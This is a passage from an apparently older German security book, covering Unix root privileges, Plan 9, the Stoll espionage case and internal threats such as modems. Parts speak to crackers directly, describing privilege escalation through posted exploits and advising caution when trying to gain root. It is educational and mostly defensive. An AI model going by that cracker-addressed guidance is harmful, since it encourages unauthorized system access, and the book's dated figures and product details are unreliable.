Abbildung 22.3: Vier Attribute einer Dateiliste eines Unix-Verzeichnisses
Ich möchte kurz auf diese Attribute eingehen. Sie sind nach ihrer Bedeutung für die Zugriffskontrolle
geordnet, wobei mit dem unwichtigsten Attribut begonnen wird:
Attribut #4: Dateistatistiken. Diese Spalten geben die Größe der Datei oder des Verzeichnisses an,
das Datum und die Uhrzeit (normalerweise der Erzeugung bzw. der letzten Bearbeitung) und den
Namen. Das sind die üblichen Informationen, wie sie auch von DOS oder einer
Dateimanager-Anwendung wie dem Explorer von Windows 95 angezeigt werden.
Attribut #3: Die Gruppe. Diese Spalte gibt die Gruppe an, der die Datei zugeordnet ist. Gruppen
sind (normalerweise) Sammlungen von Einzelpersonen, die gemeinsame Berechtigungen und
Erfordernisse haben. Auch Systemprozesse können jedoch zu Gruppen gehören und diese sogar
bilden. In Abb. 22.3 sehen Sie zwei Gruppen: root und sys.
Attribut #2: Der Eigentümer. Dieses Attribut spezifiziert den Eigentümer der Datei oder des
Verzeichnisses (in diesem Fall root).
Attribut #1: Berechtigungen. In diesem Feld werden Berechtigungen explizit angegeben.
Attribut #1 ist für uns das wichtigste. Hier werden die Berechtigungen festgelegt, die drei Aspekte des
Zugriffs wiedergeben. Lesen Sie Attribut #1 von links nach rechts:
Die Berechtigungen des Eigentümers (der in Attribut #2 angegeben ist).
Die Berechtigungen der Gruppe (in Attribut #3 angegeben).
Die Berechtigungen für die Personen, die nicht zu der in Attribut #3 angegebenen Gruppe gehören
(d.h. die übrigen Leute im System).
Es ist immer entweder ein Buchstabe oder ein Strich zu sehen. Der Strich bedeutet, daß eine bestimmte
Zugriffsberechtigung oder ein Privileg verweigert wird. Die Buchstaben (r, w und x) stehen für die
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einzelnen Berechtigungen read (Lesen), write (Schreiben) und execute (Ausführen).
Hinweis:
Wenn Sie sich die in Abb. 22.2 dargestellten Listings genauer ansehen, werden Sie feststellen, daß im
ersten Feld (Attribut #1) ein d auftaucht. Das bedeutet, daß es sich um ein Verzeichnis (directory) und
nicht um eine »normale« Datei handelt.
Die Struktur des Berechtigungsschemas ist von links nach rechts in aufsteigender Reihenfolge zu lesen.
D.h. die ersten drei Buchstaben stehen für die Berechtigungen des Eigentümers und die nächsten drei für
die Berechtigungen der Gruppe. Die letzten drei geben die Rechte für den Rest der Welt wieder.
Andere Netzwerk-Betriebssysteme haben eventuell eine andere Darstellungsweise als Unix. Bei Unix hat
man die Möglichkeit, schnell (an einem Prompt) herauszufinden, wer auf was zugreifen kann. Ältere
Novell-NetWare-Systeme haben ein Shell-Interface, in dem Sie diese Berechtigungen einsehen und
setzen können. Microsoft Windows NT hat zwar eine grafische Benutzeroberfläche, aber Sie haben
dennoch die Möglichkeit, erstaunlich viele Optionen der Zugriffskontrolle auch von einem Prompt aus
festzulegen.
22.3 Wie wird man Root?
Aufgrund dieser Organisation der Zugriffskontrolle bei Unix ist es offensichtlich, worin die Aufgabe
eines Crackers liegt: Root-Zugang zu erhalten. Da Unix das vorherrschende System auf Internet-Servern
war (und wahrscheinlich noch immer ist), haben Cracker sich dieser Aufgabe seit über 20 Jahren
angenommen. Der Grund ist klar: Wer Root-Zugang hat, legt die Berechtigungen fest; wer die
Berechtigungen festlegt, hat die Kontrolle über das gesamte System. Wenn Sie root geworden sind,
haben Sie die Kontrolle über den Rechner (und vielleicht das gesamte Netzwerk) übernommen.
22.3.1 Für und Wider des Berechtigungssystems
Das Berechtigungssystem hat viele Vorteile. Einer davon ist die Klassifizierung. Sie können eine
hierarchische Struktur erzeugen, in der Sie die Privilegien basierend auf Klassen (von Gruppen,
Benutzern usw.) weiter abstufen können. So können Sie schnell und effizient zumindest eine
grundlegende Sicherheit implementieren. Dabei können Gruppen die organisatorische Struktur Ihres
Unternehmens reflektieren. Natürlich erbt jedes Mitglied einer Gruppe die Berechtigungen von seiner
Muttergruppe (d.h. ein bestimmtes Mitglied einer Gruppe erbt dieselben Dateiberechtigungen, die alle
Mitglieder der Gruppe haben, unmittelbar nach dem Hinzufügen zu dieser Gruppe). So können Sie
zumindest minimale Privilegien auf einfachste Weise zuordnen.
Nach der Festlegung der Gruppe (und nachdem der Eigentümer und die Benutzer der Gruppe die
Berechtigungen der ihnen übergeordneten Gruppen geerbt haben), kann root mit der Feinabstimmung
dieser Privilegien beginnen. D.h. root kann beginnen, für die Berechtigungen eines bestimmten
Benutzers noch restriktivere Richtlinien zu implementieren. Ein gut organisierter Systemadministrator
verwaltet die Berechtigungen und Privilegien von Hunderten oder sogar Tausenden Benutzern sehr
effektiv. Das ist schon faszinierend.
Dennoch hat dieses System auch seine Nachteile. Denn schon die bloße Existenz von root ist aus
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mehreren Gründen ein Sicherheitsrisiko. Zum Beispiel gewährt jedes Programm, das als root laufen muß,
nach einer erfolgreichen Attacke dem Angreifer root-Privilegien. Und wenn root erst einmal offengelegt
ist, ist das ganze System nicht mehr sicher. Das ist besonders bei Multisegment-Netzwerken kritisch.
22.3.2 Den Root-Account knacken
Obwohl ich keine handfesten Beweise dafür habe, denke ich, daß der Prozentsatz an Crakkern, die dazu
in der Lage sind, auf einem bestimmten Rechner Root zu erhalten, ziemlich hoch ist. Ich glaube, der
Prozentsatz derer, die dies auf einem Unix-System können, ist ein mehr oder weniger statischer Wert.
Über Unix ist viel bekannt, und die Berichte sind ziemlich informativ (dasselbe gilt für Novell NetWare).
Die Anzahl derer, die NT knacken können, steigt dagegen rapide an. Ich schätze, daß dieser Prozentsatz
innerhalb eines Jahres höher liegen wird als bei anderen Betriebssystemen.
Das Knacken von des Root-Accounts erfolgt (zumindest bei Unix) weit häufiger durch fortgeschrittene
Programmiertechniken als durch Knacken der Datei /etc/passwd. Administratoren wissen über Sicherheit
Bescheid und sorgen meistens dafür, daß ihr eigenes Paßwort extrem schwer zu knacken ist (und das
sollten sie auch tun). Erfahrene Systemadministratoren haben meistens ihre eigene passwd-Datei mehrere
Male geknackt. Sie werden wahrscheinlich ein Paßwort festlegen, bei dem man Wochen oder sogar
Monate braucht, es zu knacken. Deshalb ist der Einsatz eines Paßwort-Knackers meist verschwendete
Zeit.
Wenn dagegen auf der Festplatte befindliche Programme als Root-Prozesse laufen, können Sie den
Root-Account möglicherweise schnell und einfach knacken. Es ist nicht notwendig, sich als Root
einzuloggen, man muß nur an Root-Privilegien gelangen. Das erreicht man oft mit Hilfe eines
Puffer-Überlaufs.
Tip:
Eine ausführlichere Behandlung von Puffer-Überläufen und anderen Programmierfehlern und
-schwachstellen finden Sie in Kapitel 28, »Sprachen, Erweiterungen und Sicherheit«.
Exploits dieser Art werden regelmäßig in vielen Mailing-Listen und Newsgruppen gepostet. Wenn der
Cracker weiß, wie man einen Compiler benutzt, kann er diese Postings mit minimalem Aufwand über die
Zwischenablage in einen Text-Editor einfügen, kompilieren und ausführen. Nachdem er einen Testlauf
auf einer ähnlichen Plattform durchgeführt hat (z.B. unter SolarisX86 zur Simulation eines möglichen
Solaris-Sicherheitslochs, oder besser unter Solaris für Sparcs), ist er bereit. Der Angriff wird nur
Sekunden dauern.
In den meisten Fällen muß ein Cracker noch nicht einmal auf dem neuesten Stand sein. Viele ältere
Löcher funktionieren immer noch auf Systemen, die nicht angemessen gesichert sind. Leider verbringen
die meisten Systemadministratoren ihre Zeit nicht damit, Mailing-Listen- Archive nach möglichen
Sicherheitslöchern ihres Systems zu durchsuchen.
Wer ist verantwortlich?
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22.4 Root könnte bald der Vergangenheit
angehören
Obwohl es vielleicht unglaublich scheint, könnte der Root-Account bald ein ausrangiertes Konzept sein.
Viele der Sicherheitsprobleme, die im Internet zutage treten, beruhen auf der Existenz dieses
privilegierten Zugangs. Deshalb wird eifrig nach Alternativen geforscht. Die Leute bei den Bell Labs
haben bereits ein solches System implementiert, das sie Plan 9 genannt haben. In der öffentlich
erhältlichen Dokumentation zu Plan 9 heißt es:
Plan 9 hat keinen Superuser. Jeder Server ist für seine eigene Sicherheit verantwortlich.
Dabei wird meistens nur ein Zugriff über die Konsole erlaubt, die durch ein Paßwort
geschützt ist. Z.B. haben die Fileserver einen einzigen für die Administration zuständigen
Benutzer, der adm genannt wird. Dieser hat spezielle Privilegien, die nur für Befehle gelten,
die direkt an der Konsole des Servers eingegeben werden. Diese Privilegien betreffen die
tägliche Wartung des Servers, wie z.B. das Hinzufügen von neuen Benutzern und die
Konfiguration von Festplatten und Netzwerken. Sie beinhalten keine Befugnis zum Ändern
der Berechtigungen für Dateien. Wenn eine Datei von einem Benutzer mit einem Leseschutz
versehen worden ist, kann nur dieser eine Benutzer anderen den Zugriff gewähren.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus »Plan 9 from Bell Labs«, einem vom harten Kern des
Plan-9-Teams verfaßten Dokument. Die Autoren sind Rob Pike, Dave Presotto, Sean Dorward, Bob
Flandrena, Ken Thompson, Howard Trickey und Phil Winterbottom. Sie finden es online unter http://
plan9.bell-labs.com/plan9/doc/9.html.
Plan 9 ist ein interessanter Ansatz, der sicherlich einige der heutzutage mit dem Root- Account
verbundenen Probleme beseitigen würde. Dennoch könnte auch dieses neue System mit Problemen
verbunden sein. Eines davon dreht sich um die folgende Aussage (aus »Plan 9 from Bell Labs«):
Wenn eine Datei von einem Benutzer mit einem Leseschutz versehen worden ist, kann nur
dieser eine Benutzer anderen Zugriff gewähren.
Wenn diese Vorgehensweise strikt erzwungen würde, stellten böswillige Benutzer ein Problem dar.
Wenn die Dateien eines solchen Benutzers z.B. für den Rest der Welt mit einer Nur-Lese-Berechtigung
versehen wären oder noch striktere Kontrollen auf den Zugriff auf diese Dateien angewendet würden,
könnte es dazu kommen, daß man den Account dieses Benutzers sperren oder sogar zerstören müßte. Das
wäre eine gleichermaßen einfache wie ärgerliche Lösung des Problems.
Trotzdem glaube ich, daß das Plan-9-Modell weitaus sicherer ist als die heutigen Systeme. Das liegt
nicht nur an der Abschaffung von des Root-Accounts, sondern auch an der einzigartigen Methode, mit
der es verteilte Datenverarbeitung implementiert. Der Benutzer wird mit einer Art Kreuzung zwischen
einem X-Terminal und einem PC ausgestattet. Der Fileserver bleibt isoliert, fast alle Ressourcen werden
verteilt, und die Berechtigungen auf diesem Fileserver werden automatisch und dynamisch gesetzt (z.B.
wenn Dateien oder Prozesse erzeugt oder verändert werden). Deshalb stehen die Chancen gut, daß eine
systemweite Offenlegung von Plan 9 unwahrscheinlich ist.
Wer ist verantwortlich?
file:///d|/cool stuff/old/hack/kap22.htm (7 von 10) [19.04.2000 21:15:26]
Es könnte bei Plan 9 jedoch zu anderen Sicherheitsproblemen kommen. Sie können z.B. eine Ressource
von jeder Art Dateisystem, entfernt oder anderweitig, anzapfen und diese Ressourcen an lokale
Verzeichnisse anhängen, so daß sie so funktionieren und aussehen, als wären sie lokal. Das könnte dazu
führen, daß Plan 9 sich schließlich als ein Werkzeug herausstellt, mit dem man in der Lage ist, andere
Betriebssysteme offenzulegen. Dies läßt sich jedoch schlecht voraussagen, da über Tests in dieser
Richtung relativ wenig Dokumentation zur Verfügung steht. Ich habe noch keinen solchen Test
durchgeführt.
22.5 Root auf anderen Betriebssystemen
Unix ist nicht das einzige System, das einen Superuser verwendet. Microsoft Windows NT verwendet
ebenfalls eine Variante von Root, die Administrator genannt wird. Auch Novell hat etwas Ähnliches, den
Supervisor. Bei allen sind die Rechte und Pflichten von Root dieselben: Sie betreffen die
Systemverwaltung. Beide Systeme verfügen über fast identische Kontrollen für die
Zugangsberechtigungen (NetWare ist meines Erachtens jedoch etwas umfassender).
22.6 Der Cracker mit Root-Berechtigung
Ich sollte an dieser Stelle vielleicht erläutern, daß es gar nicht so ungewöhnlich ist, Root- Zugang zu
haben. Das können Sie schon für ein paar Mark haben. Sie können z.B. Linux oder FreeBSD auf einem
PC installieren, und schon sind Sie root auf diesem einen Rechner. Einige Systemadministratoren spotten
vielleicht darüber, da sie glauben, daß es einem Crakker kaum etwas nützen wird, einen Rechner zu
installieren, auf dem er root ist. Dennoch gibt dies dem Cracker einige kleine Vorteile:
Es gibt dem Cracker Zugriff auf einige native Anwendungen der Betriebssystemumgebung, den er
normalerweise nicht hätte. Ich habe schon erwähnt, daß der root-Status auf einem Unix-Rechner
einen Cracker mit vielen Tools versorgt, die auf anderen Plattformen nicht verfügbar sind.
Sicherheitsspezialisten schreiben oft auf kommerziellem Niveau einzustufende Pakete und stellen
sie im Internet gratis zur Verfügung. In einigen Fällen geschieht dies aus reiner Nächstenliebe und
ist ein Beitrag zur Verbesserung der Netzwerksicherheit durch Leute, die dazu in der Lage sind
(SATAN ist z.B. ein solches Programm). In anderen Fällen wird ein Produkt gratis an private
Benutzer gegeben, kann aber auf die Verwendung auf einem lokalen Host beschränkt sein (z.B.
SAFESuite von ISS). Diese Tools brauchen wegen der eher restriktiven Bestimmungen beim
direkten Zugriff auf Netzwerkressourcen bei Unix- Betriebssystemen Root-Rechte. Das stellt eine
natürliche Barriere für viele Cracker dar. Sie können sich die Software nicht einfach auf eine
Workstation in einer Universität laden und erwarten, daß sie dort läuft. Und obwohl man viele
Unix-Versionen fast umsonst bekommen kann, muß der Cracker auch an die Hardware kommen.
D.h. weniger solvente Cracker können nicht mal eben ihr eigenes System einrichten und sich root
nennen.
Der Cracker erhält die Möglichkeit, zu lernen, wie Protokolle funktionieren. Da er Root ist, kann
er seinen Rechner angreifen und die Resultate analysieren. Er kann auch verschiedene Arten von
Sicherheitssoftware ausprobieren und versuchen, diese Utilities auszutricksen.
Der Cracker, der Root ist, erlernt die Grundlagen der Systemadministration. Dadurch erlangt er
wertvolle Kenntnisse und Einblicke in die Systemsicherheit.
Wer ist verantwortlich?
file:///d|/cool stuff/old/hack/kap22.htm (8 von 10) [19.04.2000 21:15:26]
Es gibt noch einige unbedeutendere Vorteile. Der Cracker kann z.B. seinen eigenen Mail- und
News-Server manipulieren und anderen Crackern Netzwerkdienste zur Verfügung stellen. Diese Vorteile
sind jedoch aus pädagogischer Sicht zu vernachlässigen. Die einzige wirkliche Herausforderung hierbei
ist es, Personen, die Zugang zu dem Rechner haben, daran zu hindern, ihn zu zerstören.
22.7 Vorsicht vor Root
Als Cracker müssen Sie aufpassen. Administratoren sind reizbare Wesen. Wenn sie Sie eines Vergehens
verdächtigen, haben Sie Probleme. Das bringt uns zu einem wichtigen Punkt: Root ist immer ein
Mensch. Wie dieser Mensch mit Ihnen umgeht, ist von Fall zu Fall unterschiedlich.
Cracker sehen sich automatisch als direkter Gegensatz zum Systemadministrator. Das ist auch tatsächlich
so, aber das bedeutet nicht notwendigerweise, daß die beiden sich bekriegen. Viele
Systemadministratoren ergötzen sich an Geschichten über geknackte Netzwerke. Solange das betroffene
Netzwerk nicht ihr eigenes ist, sind solche Geschichten spannend und sehr informativ. Man hat
manchmal fast das Gefühl, daß einige Systemadministratoren ein rezessives Cracker-Gen in sich tragen,
das sie jedoch auf konstruktive Weise ausleben, indem sie die Sicherheit ihres eigenen Netzwerks auf die
Probe stellen. Man könnte beinahe sagen, daß es für den Betrieb eines sicheren Netzwerks am besten ist,
wenn man ein klein wenig von einem Cracker hat.
Im Gegensatz zur landläufigen Meinung sind Systemadministratoren oft ganz schön auf Zack. Ihre
Position erfordert eine hohe Verantwortung, die in der Regel ganz auf ihren Schultern lastet. Deshalb
leben sie in ihrer eigenen Welt, in der sie allmächtig sind (oder zumindest so erscheinen). Um ein guter
Systemadministrator zu sein, benötigt man mehr als gute Programmierkenntnisse und eine solide
Kenntnis des Betriebssystems. Ein wenig Menschlichkeit und ein gutes Urteilsvermögen sind ebenfalls
vonnöten. Ich habe die Erfahrung gemacht, daß die meisten Administratoren ein bißchen
Herumprobieren durchaus tolerieren, bevor sie dem abtrünnigen Benutzer den Zugang sperren. Das
machen sie nicht, weil sie Cracker besonders mögen, sondern weil sie Sinn für Fair Play haben und es im
Grunde schätzen, wenn jemand etwas über das System lernen will.
Bei einem Versuch, zu Root-Rechten zu kommen, sollten Sie jedoch vorsichtig sein. Ein
Systemadministrator, dessen Netzwerk offengelegt wurde, kann sehr hartnäckig sein. Er könnte Sie über
Kontinente hinweg verfolgen. In einem Fall bewegte ein 75-Cent-Fehler einen inzwischen berühmten
Systemadministrator (Clifford Stoll) dazu, einen ganzen Spionagering mit Sitz in Deutschland
aufzuspüren und auszuheben.
Hinweis:
Wer ist verantwortlich?
file:///d|/cool stuff/old/hack/kap22.htm (9 von 10) [19.04.2000 21:15:26]
Das Kuckucksei
Clifford Stoll, ein Astronom, war zu Forschungswecken im Lawrence Berkeley Laboratory (LBL) in
Kalifornien. Während seiner Anstellung dort übernahm Stoll die Verantwortung für das Netzwerk (Stoll
nutzte das Internet bereits seit 1975) und wurde damit beauftragt, den Grund für einen
Buchhaltungsfehler von 75 Cent herauszufinden. Seine Untersuchungen ergaben schließlich, daß sich
jemand unbefugt Zugang zu dem lokalen Netzwerk verschafft hatte. Statt dem unautorisierten Benutzer
den Zugang sofort zu verweigern, ließ er den Cracker gewähren. Daraufhin fand Stoll heraus, daß der
Cracker das LBL-Netzwerk als Ausgangspunkt zum Knacken von Systemen verwendete, die in der
MILNET-Hierarchie angesiedelt waren (MILNET ist eine Gruppe militärischer Netzwerke in den USA).
Stoll stellte fest, daß der Cracker - von Deutschland aus - wichtige verteidigungsrelevante
Informationen stahl. Er holte sich schließlich Hilfe bei amerikanischen und deutschen
Nachrichtendiensten (die anfangs gar nicht bereit waren, seinen Verdacht anzuhören). Es stellte sich
heraus, daß der Cracker von östlichen Geheimdiensten dafür bezahlt wurde,
US-Verteidigungsinformationen zu stehlen. Die Geschichte wurde zu einer Internet-Legende, nur noch
übertroffen von dem Internet-Wurm. Weitere Informationen finden Sie in Stolls Buch The Cuckoo's Egg
(Doubleday, 1989), das die Ereignisse peinlich genau beschreibt.
22.8 Zusammenfassung
Dieses Kapitel klärt einige Zusammenhänge in bezug auf Superuser-Privilegien auf Computersystemen.
Das ist deshalb wichtig, weil ich in den folgenden Kapiteln verschiedene Arten beschreiben werde, wie
man den Root-Account attackieren kann und wie man sich anderweitig Root-Zugang verschaffen kann.
Folgende Dinge sollten Sie sich merken:
Root ist jeder, der Systemadministrator-Status hat.
Dieser Status wird normalerweise für einzelne Rechner erteilt. So hat jeder Rechner in einem
Unix-Netzwerk einen Benutzer Root. Bei NT-Rechnern heißt der Superuser-Zugang
»Administrator«.
Root legt alle Datei- und Verzeichnisberechtigungen fest, die nicht schon bei der Installation
automatisch vom Betriebssystem gesetzt wurden.
Diese Berechtigungen gewähren oder verweigern den Benutzern (und Gruppen) das Lesen,
Schreiben oder Ausführen von Dateien.
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Wer ist verantwortlich?
file:///d|/cool stuff/old/hack/kap22.htm (10 von 10) [19.04.2000 21:15:26]
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23
Interne Sicherheit
Bislang haben wir uns hauptsächlich damit beschäftigt, wie Sie Ihr Netzwerk gegen Attakken von außen
schützen können. Dieses Kapitel soll Ihnen nun helfen, das Netzwerk auch gegen interne Angriffe zu
sichern.
23.1 Brauche ich wirklich interne Sicherheit?
Wenn Sie einen Internet-Server betreiben, haben Sie wahrscheinlich am meisten Angst vor Attacken aus
der Außenwelt, und das zu Recht. Neueste Umfragen haben ergeben, daß mehr als 50 Prozent der Firmen
mit einem Internet-Server bereits Fernattacken ausgesetzt waren. Das ist eine beeindruckende Zahl. Ein
weitaus höherer Prozentsatz von Unternehmen wird jedoch von innen angegriffen.
Jedes Jahr erleiden Tausende von Unternehmen beträchtliche Schäden, die durch verärgerte Mitarbeiter
verursacht werden. Kürzlich gab es in Amerika einen Fall, wo ein Programmierer von einer
Buchführungsfirma gefeuert wurde. Am selben Tag - bevor er das Gebäude verließ - ließ der
Programmierer ein Script laufen, das die Buchungen von einem ganzen Monat vernichtete. Die Firma
hatte keine Sicherungen, so daß sie einen Verlust in der Größenordnung von Tausenden Dollar und
Hunderten Arbeitsstunden erlitt.
Solche Fälle kommen häufig vor. Deshalb beschäftigen wir uns in diesem Kapitel mit den
unterschiedlichen Methoden zur Verhinderung derartiger Alpträume.
23.2 Warum sind interne Angriffe so verbreitet?
Daß interne Angriffe häufiger vorkommen als entfernte Attacken hat verschiedene Gründe. Ein sehr
offensichtlicher Grund ist, daß es viel leichter ist, ein Netzwerk von innen anzugreifen.
Autorisierte Benutzer haben einen Zugriff auf Informationen, den der externe Benutzer nicht hat.
Nehmen wir zum Beispiel die Aufgabe der Erstellung einer Benutzerliste. Das kann für entfernte Cracker
Interne Sicherheit
file:///d|/cool stuff/old/hack/kap23.htm (1 von 18) [19.04.2000 21:15:29]
schwierig werden, besonders wenn die Verwendung entfernter finger- und rusers-Dienste nicht erlaubt
ist. Für lokale Benutzer ist dies jedoch ein Kinderspiel, und eine solche Anfrage hinterläßt auf den
meisten Netzwerken noch nicht einmal Spuren.
Hinweis:
Das Problem mit finger und rusers ist nicht auf Unix-Umgebungen beschränkt.
Windows-NT-Umgebungen sind ebenfalls für ähnliche Techniken der Informationsbeschaffung
verwundbar. Die einfachste Methode, von einem entfernten Windows-NT-Rechner aus an solche
Informationen zu gelangen, ist die Verwendung des Befehls NBTSTAT. Er gibt Namens- und
Sitzungstabellen und sogar NETBIOS-Namen aus. Um sich davor zu schützen, sollten Sie den Zugang
zu Port 137, 138 und 139 einschränken.
Interne Benutzer haben im Gegensatz zu externen meistens auch Zugriff zu verschiedenen Tools. Wenn
Sie zum Beispiel ISP sind, erlauben Sie Ihren Benutzern wahrscheinlich die Benutzung von Compilern
und Interpretern zum Beispiel für
C und C++
Qbasic, BASIC oder VB
Shells
Pascal
Assembler
Perl
Perl ist wohl am verbreitetsten; es läuft auf vielen verschiedenen Betriebssystemen. Nehmen Sie z.B. die
Exploits, die wir in diesem Buch beschreiben. Die meisten erfordern, daß der Benutzer über C, C++ oder
Perl verfügt, da Exploits selten im Binärformat vorliegen.
Diese Tools können internen Angreifern helfen, Ihre Systemsicherheit zu verletzen. (Sogar die
Möglichkeit des Zugriffs auf Debugging-Utilities setzt Sie schon einem gewissen Risiko aus.) Das
Problem wird dadurch noch komplizierter, daß viele Microsoft-Umgebungen keine Möglichkeiten der
Zugriffskontrolle oder gar der Einschränkung des Festplattenzugriffs haben. Deshalb können lokale
Benutzer nach Belieben ihre eigenen Compiler und Debugger installieren.
Außerdem genießen lokale Benutzer bereits ein gewisses Vertrauen, nicht nur auf Netzwerkebene,
sondern auch auf menschlicher Ebene. Sie sind berechtigt, auf Ihr Computersystem zuzugreifen. Das ist
schon ein großer Vorteil.
Um wenigstens ein Minimum an interner Sicherheit zu schaffen, empfehle ich Ihnen folgendes:
Stellen Sie klare, schriftliche Richtlinien auf, und machen Sie Ihre Benutzer auf diese aufmerksam.
Beschränken Sie den Modemzugriff auf diejenigen, die ihn wirklich benötigen.
Installieren Sie Tools zum Schutz Ihrer Hardware.
Auf diese Punkte möchte ich etwas näher eingehen.
Interne Sicherheit
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23.3 Richtlinien (Policies)
Sie sollten klare Richtlinien aufstellen und Ihre Benutzer auf diese aufmerksam machen. (Idealerweise
integrieren Sie sie gleich in die Arbeitsverträge.) Viele Firmen haben keine solchen Richtlinien, da ihre
Administratoren glauben, daß Benutzer diese sowieso ignorieren. Das mag wahr sein oder nicht, ist aber
noch lange kein Grund dafür, das Schreiben von Richtlinien gänzlich zu unterlassen.
Richtlinien hindern Ihre Benutzer vielleicht nicht am Herumspionieren, aber wenn Sie schriftliche
Richtlinien haben und ein Benutzer später beim Knacken erwischt wird, haben Sie die erforderlichen
Argumente in der Hand, um diesem Mitarbeiter fristlos zu kündigen. Wenn der Mitarbeiter Sie später
verklagen will, verfügen Sie über schriftliche Dokumente, und das ist in einem Rechtsstreit eine Menge
wert.
In solchen Fällen wird viel darum gestritten, ob ein Benutzer seine Befugnisse überschritten hat oder die
Richtlinie eindeutig verletzt hat. Viele Straf- oder Zivilprozesse laufen darauf hinaus. Wenn Sie keine
schriftlichen Richtlinien haben, hat das Gericht keinen richtigen Maßstab zur Einschätzung böswilliger
Aktivitäten. Das ist das Problem bei Benutzern, die Befugnisse haben (und einige müssen sie haben, um
ihre Aufgaben erfüllen zu können). Lassen Sie sich mit Ihren Rechtsanwälten nicht in einen Streit über
Semantik verwickeln. Stellen Sie schriftliche Richtlinien auf, die ausdrücklich jegliche Aktivitäten
verbieten, die die interne Sicherheit gefährden könnten.
23.4 Hardware
Auch die Hardware kann manchmal ein Risiko für die interne Sicherheit darstellen.
23.4.1 Modems
Kleine Unternehmen haben normalerweise zwei Möglichkeiten, wenn sie ihr LAN aufbauen:
Fertige PCs kaufen.
Eine Firma vor Ort mit dem Zusammenbau von Rechnern beauftragen.
Die meisten Kleinunternehmen wählen die erste Alternative. Sie gehen zu irgendeinem großen
Computerhändler und bestellen vier oder fünf Pentiums, die identisch konfiguriert sind. Mehr als 50%
Prozent dieser Rechner haben ein internes Modem.
Obwohl es eigentlich selbstverständlich sein sollte, möchte ich vorsichtshalber dennoch darauf
hinweisen: Wenn Sie ein solches Netzwerk betreuen, sollten Sie die Modems aus allen Rechnern außer
Ihrem eigenen und einem Gateway entfernen.
Wenn Sie allen Benutzern Modemzugriff gewähren, ist der Ärger vorprogrammiert. Ihre Benutzer haben
dann die Möglichkeit, Daten zu versenden, ohne daß diese Übertragung irgendwo vermerkt wird. Das
folgende Beispiel verdeutlicht, warum so etwas zu gefährlich ist.
Hinweis:
Interne Sicherheit
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Ein Gateway ist in diesem Zusammenhang ein Rechner, der speziell für den Zweck vorgesehen ist,
ausgehende Verbindungen zu handhaben. Auch wenn Sie nicht über eine dedizierte Internet-Anbindung
(also eine Standleitung) verfügen, gibt es keinen Grund, warum jeder Benutzer ein Modem haben sollte.
Statt dessen können Sie ein Gateway konfigurieren, das alle ausgehenden Verbindungen zentral
verwaltet. (Es gibt viele Software-Pakete, mit denen man dies über eine gemeinsame Nutzung von
Verbindungen erzielen kann. Einige Versionen von LANtastic haben diese Möglichkeit, so daß die
Workstations B und C die Modemverbindung von A benutzen können, um Daten zu versenden.)
Eine Werbeagentur, die ich kürzlich betreute, hatte allen Benutzern Modemzugriff gewährt. Die
Mitarbeiter konnten ihr Modem beliebig benutzen, ohne daß eine Protokollierung stattfand. Nach einigen
Monaten hatten die Geschäftsführer den Verdacht, daß bestimmte Informationen irgendwie an die
Konkurrenz durchgesickert waren.
Um der Sache schnell auf die Spur zu kommen, bat ich einen Freund, eine Software zur Überwachung
der Telefonate zu installieren. (Diese Software protokolliert jeden Anruf - sogar Ortsgespräche.)
Innerhalb von wenigen Tagen war die Angelegenheit geklärt. Einer der Angestellten wählte sich in eine
lokale Mailbox ein und lud Daten hoch. Die Kontaktperson holte sich die Informationen dort ab, die aus
Werbekonzepten, Telefonnummern, Adressen und Kontakten bestanden.
Ein weiterer Nachteil von in allen Rechnern installierten Modems ist, daß Modems Wegbereiter für
Attacken sind. Das können einfache Belästigungen, DoS-Attacken oder ernsthafte Versuche eines
Eindringens in Ihr Netzwerk sein. Wenn Mitarbeiter X das Modem nicht unbedingt benötigt, sollten Sie
es aus seinem Rechner entfernen. Viele Unternehmen verfolgen entweder diese Strategie, oder sie stellen
zumindest Richtlinien auf, die die Modembenutzung einschränken.
Sun Microsystems ist ein gutes Beispiel. Im März 1998 erließ Sun eine Verfügung.
Einige Mitarbeiter von Sun Microsystems dürfen ihren Hut nehmen, wenn sie mit einem
Modem auf ihrem Schreibtisch angetroffen werden. So groß ist die Angst des Unternehmens
vor Sicherheitsverletzungen. Laut Mark Graff, einem Sicherheitsverantwortlichen bei Sun,
stellen Benutzer, die sich von ihrem Desktop aus ins Internet einwählen können, das
zweitgrößte Sicherheitsrisiko für Unternehmen nach internen Hackern dar.
Wegweiser:
Der obige Abschnitt stammt aus einem Artikel von Steve Ranger von Network Week. Den Artikel »Sun
Sacks Employees For Modem Security Breaches« finden Sie unter http://www.techweb.com/wire/story/
TWB19980318S0012.
Hinweis:
Modems können auch dann ein ernsthaftes Sicherheitsrisiko darstellen, wenn Sie eine dedizierte
Internet-Anbindung haben. Es gibt verschiedene Produkte von Drittanbietern, die - in Verbindung mit
einem Modem in einem mit dem Internet verbundenen LAN - Außenstehenden den Zugang zu Ihrem
Netzwerk ermöglichen könnten.
Wenn Sie dennoch beabsichtigen, Ihren Benutzern Modemzugriff zu gewähren, sollten Sie zumindest
eine Zugriffskontrolle einrichten. Die folgenden Produkte bieten Lösungen für die
Interne Sicherheit
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Modem-Zugriffskontrolle und -Sicherheit.
ModemLock
Advanced Engineering Concepts, Inc.
1198 Pacific Coast Highway #D-505
Seal Beach, CA 90740
Tel.: 001-310-379-1189
Fax: 001-310-597-7145
ModemLock ist eine Kombination aus Firmware und Software, die eine Verbindung zwischen einem
Computer und einem externen Modem herstellt. ModemLock verschlüsselt den Modem-Datenstrom mit
Hilfe von DES und bietet eine Modem-Zugriffskontrolle. Das Produkt läuft bis zu 40 Stunden mit einer
9-Volt-Batterie und hat auch ein Netzteil. Das System hat einen maximalen Durchsatz von ca. 1.900
Zeichen pro Sekunde.
Security Gateway
Bomara Associates
3 Courthouse Lane
Chelmsford, MA 01824
Tel.: 001-978-452-2299
Fax: 001-978-452-1169
E-Mail: bobr@bomara.com URL: http://www.bomara.com/
Stellen Sie sich das Bomara Security Gateway wie eine Firewall für den durchschnittlichen
Modemzugriff vor. Das Security Gateway bietet viele Möglichkeiten, darunter eine Rückruf-
Verifizierung und Authentifizierung, Unterstützung von bis zu 250 Paßwörtern, detaillierte
Protokollierung (Sie können sogar fehlgeschlagene Login-Versuche protokollieren lassen) und
Zugriffskontrollen für beliebige RS-232-Geräte.
Modem Security Enforcer
IC Engineering, Inc.
P.O. Box 321
Owings Mills, MD 21117
Tel.: 001-410-363-8748
E-Mail: Info@ICEngineering.Com URL: http://www.bcpl.lib.md.us/~n3ic/iceng.html
Der Modem Security Enforcer bietet unter anderem Rückruf-Authentifizierung, Paßwortschutz,
